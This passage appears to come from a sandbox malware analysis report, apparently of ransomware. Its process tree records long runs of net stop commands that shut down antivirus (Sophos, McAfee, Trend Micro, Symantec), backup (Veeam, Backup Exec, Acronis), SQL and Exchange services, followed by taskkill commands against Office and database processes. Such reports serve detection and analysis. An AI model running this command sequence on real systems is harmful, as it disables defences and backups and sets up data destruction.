  "net.exe" stop msexchangeimap4 /y
  2⤵
  PID:2360
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop msexchangeimap4 /y
    3⤵
    PID:2592
- C:\Windows\system32\net.exe
  "net.exe" stop MSOLAP$SYSTEM_BGC /y
  2⤵
  PID:2620
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y
    3⤵
    PID:2368
- C:\Windows\system32\net.exe
  "net.exe" stop “Veeam Backup Catalog Data Service” /y
  2⤵
  PID:2376
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Veeam Backup Catalog Data Service” /y
    3⤵
    PID:1608
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$TPS /y
  2⤵
  PID:3508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer$TPS /y
    3⤵
    PID:2352
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos File Scanner Service” /y
  2⤵
  PID:2488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos File Scanner Service” /y
    3⤵
    PID:3656
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeSA /y
  2⤵
  PID:3892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeSA /y
    3⤵
    PID:3628
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$PROD /y
  2⤵
  PID:3880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$PROD /y
    3⤵
    PID:3008
- C:\Windows\system32\net.exe
  "net.exe" stop ShMonitor /y
  2⤵
  PID:2284
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ShMonitor /y
    3⤵
    PID:3648
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$PRACTTICEMGT /y
  2⤵
  PID:2724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y
    3⤵
    PID:1892
- C:\Windows\system32\net.exe
  "net.exe" stop SepMasterService /y
  2⤵
  PID:3924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SepMasterService /y
    3⤵
    PID:3712
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$PRACTTICEBGC /y
  2⤵
  PID:3928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y
    3⤵
    PID:1572
- C:\Windows\system32\net.exe
  "net.exe" stop SAVService /y
  2⤵
  PID:2548
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SAVService /y
    3⤵
    PID:2300
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$ECWDB2 /y
  2⤵
  PID:3844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y
    3⤵
    PID:1628
- C:\Windows\system32\net.exe
  "net.exe" stop SAVAdminService /y
  2⤵
  PID:3848
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SAVAdminService /y
    3⤵
    PID:2880
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$CXDB /y
  2⤵
  PID:3852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$CXDB /y
    3⤵
    PID:3356
- C:\Windows\system32\net.exe
  "net.exe" stop sacsvr /y
  2⤵
  PID:2508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sacsvr /y
    3⤵
    PID:2568
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$CITRIX_METAFRAME /y
  2⤵
  PID:3840
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y
    3⤵
    PID:2600
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SOPHOS /y
  2⤵
  PID:3408
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SOPHOS /y
    3⤵
    PID:3696
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$BKUPEXEC /y
  2⤵
  PID:2644
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y
    3⤵
    PID:2864
- C:\Windows\system32\net.exe
  "net.exe" stop sms_site_sql_backup /y
  2⤵
  PID:3856
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sms_site_sql_backup /y
    3⤵
    PID:3676
- C:\Windows\system32\net.exe
  "net.exe" stop mfevtp /y
  2⤵
  PID:3492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfevtp /y
    3⤵
    PID:2512
- C:\Windows\system32\net.exe
  "net.exe" stop RESvc /y
  2⤵
  PID:2328
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop RESvc /y
    3⤵
    PID:3344
- C:\Windows\system32\net.exe
  "net.exe" stop wbengine /y
  2⤵
  PID:2628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wbengine /y
    3⤵
    PID:1680
- C:\Windows\system32\net.exe
  "net.exe" stop mfemms /y
  2⤵
  PID:3460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfemms /y
    3⤵
    PID:2264
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$SQL_2008 /y
  2⤵
  PID:2456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
    3⤵
    PID:3636
- C:\Windows\system32\net.exe
  "net.exe" stop wbengine /y
  2⤵
  PID:3800
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wbengine /y
    3⤵
    PID:2648
- C:\Windows\system32\net.exe
  "net.exe" stop mfefire /y
  2⤵
  PID:2612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfefire /y
    3⤵
    PID:2720
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamEnterpriseManagerSvc /y
  2⤵
  PID:3864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
    3⤵
    PID:2632
- C:\Windows\system32\net.exe
  "net.exe" stop MBEndpointAgent /y
  2⤵
  PID:3804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MBEndpointAgent /y
    3⤵
    PID:3644
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLSERVER /y
  2⤵
  PID:3820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLSERVER /y
    3⤵
    PID:1372
- C:\Windows\system32\net.exe
  "net.exe" stop ARSM /y
  2⤵
  PID:2588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ARSM /y
    3⤵
    PID:2944
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos MCS Client” /y
  2⤵
  PID:3824
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos MCS Client” /y
    3⤵
    PID:3672
- C:\Windows\system32\net.exe
  "net.exe" stop MSOLAP$TPSAMA /y
  2⤵
  PID:3476
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSOLAP$TPSAMA /y
    3⤵
    PID:3084
- C:\Windows\system32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:3468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:3236
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos MCS Agent” /y
  2⤵
  PID:3456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos MCS Agent” /y
    3⤵
    PID:1060
- C:\Windows\system32\net.exe
  "net.exe" stop msexchangeadtopology /y
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop msexchangeadtopology /y
    3⤵
    PID:3268
- C:\Windows\system32\net.exe
  "net.exe" stop “aphidmonitorservice” /y
  2⤵
  PID:3404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “aphidmonitorservice” /y
    3⤵
    PID:1496
- C:\Windows\system32\net.exe
  "net.exe" stop MSOLAP$TPS /y
  2⤵
  PID:3376
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSOLAP$TPS /y
    3⤵
    PID:2216
- C:\Windows\system32\net.exe
  "net.exe" stop “Zoolz 2 Service” /y
  2⤵
  PID:3360
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Zoolz 2 Service” /y
    3⤵
    PID:2144
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$TPSAMA /y
  2⤵
  PID:3312
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer$TPSAMA /y
    3⤵
    PID:1896
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Health Service” /y
  2⤵
  PID:3304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Health Service” /y
    3⤵
    PID:828
- C:\Windows\system32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:3288
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:112
- C:\Windows\system32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:3272
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:2536
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:3320
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:3088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:1980
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:3152
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:3120
- C:\Windows\system32\net.exe
  "net.exe" stop IISAdmin /y
  2⤵
  PID:2968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop IISAdmin /y
    3⤵
    PID:3604
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamDeploySvc /y
  2⤵
  PID:1880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploySvc /y
    3⤵
    PID:3620
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamRESTSvc /y
  2⤵
  PID:1328
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamRESTSvc /y
    3⤵
    PID:2792
- C:\Windows\system32\net.exe
  "net.exe" stop UI0Detect /y
  2⤵
  PID:2744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop UI0Detect /y
    3⤵
    PID:1296
- C:\Windows\system32\net.exe
  "net.exe" stop W3Svc /y
  2⤵
  PID:3608
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop W3Svc /y
    3⤵
    PID:2680
- C:\Windows\system32\net.exe
  "net.exe" stop MySQL80 /y
  2⤵
  PID:764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MySQL80 /y
    3⤵
    PID:4056
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$PROD /y
  2⤵
  PID:2020
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$PROD /y
    3⤵
    PID:2060
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:3724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:2140
- C:\Windows\system32\net.exe
  "net.exe" stop vapiendpoint /y
  2⤵
  PID:268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop vapiendpoint /y
    3⤵
    PID:2640
- C:\Windows\system32\net.exe
  "net.exe" stop mssql$vim_sqlexp /y
  2⤵
  PID:2804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mssql$vim_sqlexp /y
    3⤵
    PID:3056
- C:\Windows\system32\net.exe
  "net.exe" stop WRSVC /y
  2⤵
  PID:3188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WRSVC /y
    3⤵
    PID:3916
- C:\Windows\system32\net.exe
  "net.exe" stop SQLTELEMETRY$ECWDB2 /y
  2⤵
  PID:4060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLTELEMETRY$ECWDB2 /y
    3⤵
    PID:3880
- C:\Windows\system32\net.exe
  "net.exe" stop TrueKeyServiceHelper /y
  2⤵
  PID:2996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
    3⤵
    PID:2956
- C:\Windows\system32\net.exe
  "net.exe" stop SQLTELEMETRY /y
  2⤵
  PID:4044
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLTELEMETRY /y
    3⤵
    PID:3856
- C:\Windows\system32\net.exe
  "net.exe" stop svcGenericHost /y
  2⤵
  PID:2684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop svcGenericHost /y
    3⤵
    PID:2396
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SQLEXPRESS /y
  2⤵
  PID:3792
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y
    3⤵
    PID:3700
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SOPHOS /y
  2⤵
  PID:3816
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SOPHOS /y
    3⤵
    PID:2796
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SQL_2008 /y
  2⤵
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SQL_2008 /y
    3⤵
    PID:3928
- C:\Windows\system32\net.exe
  "net.exe" stop sophossps /y
  2⤵
  PID:2676
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sophossps /y
    3⤵
    PID:2812
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:2312
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
    3⤵
    PID:3280
- C:\Windows\system32\net.exe
  "net.exe" stop SntpService /y
  2⤵
  PID:2112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SntpService /y
    3⤵
    PID:2468
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SBSMONITORING /y
  2⤵
  PID:3900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
    3⤵
    PID:2068
- C:\Windows\system32\net.exe
  "net.exe" stop SmcService /y
  2⤵
  PID:3920
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SmcService /y
    3⤵
    PID:3364
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$PROFXENGAGEMENT /y
  2⤵
  PID:1732
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y
    3⤵
    PID:4036
- C:\Windows\system32\net.exe
  "net.exe" stop TmCCSF /y
  2⤵
  PID:2168
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop TmCCSF /y
    3⤵
    PID:4772
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2012 /y
  2⤵
  PID:4012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y
    3⤵
    PID:2628
- C:\Windows\system32\net.exe
  "net.exe" stop swi_update_64 /y
  2⤵
  PID:2320
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop swi_update_64 /y
    3⤵
    PID:2264
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  2⤵
  PID:2440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
    3⤵
    PID:2080
- C:\Windows\system32\net.exe
  "net.exe" stop swi_update /y
  2⤵
  PID:744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop swi_update /y
    3⤵
    PID:3316
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$TPSAMA /y
  2⤵
  PID:2444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$TPSAMA /y
    3⤵
    PID:1220
- C:\Windows\system32\net.exe
  "net.exe" stop swi_service /y
  2⤵
  PID:3956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop swi_service /y
    3⤵
    PID:2940
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$TPS /y
  2⤵
  PID:2092
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$TPS /y
    3⤵
    PID:2512
- C:\Windows\system32\net.exe
  "net.exe" stop swi_filter /y
  2⤵
  PID:2180
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop swi_filter /y
    3⤵
    PID:4620
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SYSTEM_BGC /y
  2⤵
  PID:4000
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y
    3⤵
    PID:4764
- C:\Windows\system32\net.exe
  "net.exe" stop DCAgent /y
  2⤵
  PID:1536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DCAgent /y
    3⤵
    PID:4628
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SHAREPOINT /y
  2⤵
  PID:3264
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
    3⤵
    PID:4780
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:3192
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:1688
- C:\Windows\system32\net.exe
  "net.exe" stop AVP /y
  2⤵
  PID:3176
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AVP /y
    3⤵
    PID:2456
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SBSMONITORING /y
  2⤵
  PID:3452
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
    3⤵
    PID:4756
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SBSMONITORING /
  2⤵
  PID:3032
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /
    3⤵
    PID:3048
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:3720
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:1824
- C:\Windows\system32\net.exe
  "net.exe" stop Antivirus /y
  2⤵
  PID:3000
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Antivirus /y
    3⤵
    PID:3972
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$PROFXENGAGEMENT /y
  2⤵
  PID:1248
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y
    3⤵
    PID:3268
- C:\Windows\system32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:1716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:2544
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:3440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:2888
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Web Control Service” /y
  2⤵
  PID:3736
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Web Control Service” /y
    3⤵
    PID:3812
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$PRACTTICEBGC /y
  2⤵
  PID:3744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y
    3⤵
    PID:748
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecDeviceMediaService /y
  2⤵
  PID:3464
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
    3⤵
    PID:3320
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos System Protection Service” /y
  2⤵
  PID:2280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos System Protection Service” /y
    3⤵
    PID:3964
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$PRACTICEMGT /y
  2⤵
  PID:3728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y
    3⤵
    PID:3392
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:3716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:556
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Safestore Service” /y
  2⤵
  PID:2664
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Safestore Service” /y
    3⤵
    PID:2352
- C:\Windows\system32\net.exe
  "net.exe" stop audioendpointbuilder /y
  2⤵
  PID:3144
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop audioendpointbuilder /y
    3⤵
    PID:3380
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$ECWDB2 /y
  2⤵
  PID:3708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$ECWDB2 /y
    3⤵
    PID:2496
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:3372
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:2300
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeSRS /y
  2⤵
  PID:2688
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeSRS /y
    3⤵
    PID:3532
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$BKUPEXEC /y
  2⤵
  PID:2704
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y
    3⤵
    PID:3824
- C:\Windows\system32\net.exe
  "net.exe" stop Smcinst /y
  2⤵
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Smcinst /y
    3⤵
    PID:2816
- C:\Windows\system32\net.exe
  "net.exe" stop McTaskManager /y
  2⤵
  PID:1056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McTaskManager /y
    3⤵
    PID:3836
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeES /y
  2⤵
  PID:3244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeES /y
    3⤵
    PID:2952
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Agent” /y
  2⤵
  PID:2636
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Agent” /y
    3⤵
    PID:4204
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Message Router” /y
  2⤵
  PID:3328
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Message Router” /y
    3⤵
    PID:1204
- C:\Windows\system32\net.exe
  "net.exe" stop SQLSafeOLRService /y
  2⤵
  PID:1060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLSafeOLRService /y
    3⤵
    PID:4180
- C:\Windows\system32\net.exe
  "net.exe" stop TrueKeyScheduler /y
  2⤵
  PID:2368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop TrueKeyScheduler /y
    3⤵
    PID:3544
- C:\Windows\system32\net.exe
  "net.exe" stop SQLSERVERAGENT /y
  2⤵
  PID:3684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLSERVERAGENT /y
    3⤵
    PID:3532
- C:\Windows\system32\net.exe
  "net.exe" stop TrueKey /y
  2⤵
  PID:3572
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop TrueKey /y
    3⤵
    PID:2724
- C:\Windows\system32\net.exe
  "net.exe" stop tmlisten /y
  2⤵
  PID:2144
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop tmlisten /y
    3⤵
    PID:4612
- C:\Windows\system32\net.exe
  "net.exe" stop unistoresvc_1af40a /y
  2⤵
  PID:1900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop unistoresvc_1af40a /y
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  "net.exe" stop SQLBrowser /y
  2⤵
  PID:2820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLBrowser /y
    3⤵
    PID:3112
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:4188
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2088
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2104
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3196
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2452
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1328
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2460
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3076
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2172
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2284
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1308
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2188
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1260
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3864
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3240
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1804
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3020
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1092
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3108
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2876
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Windows\system32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
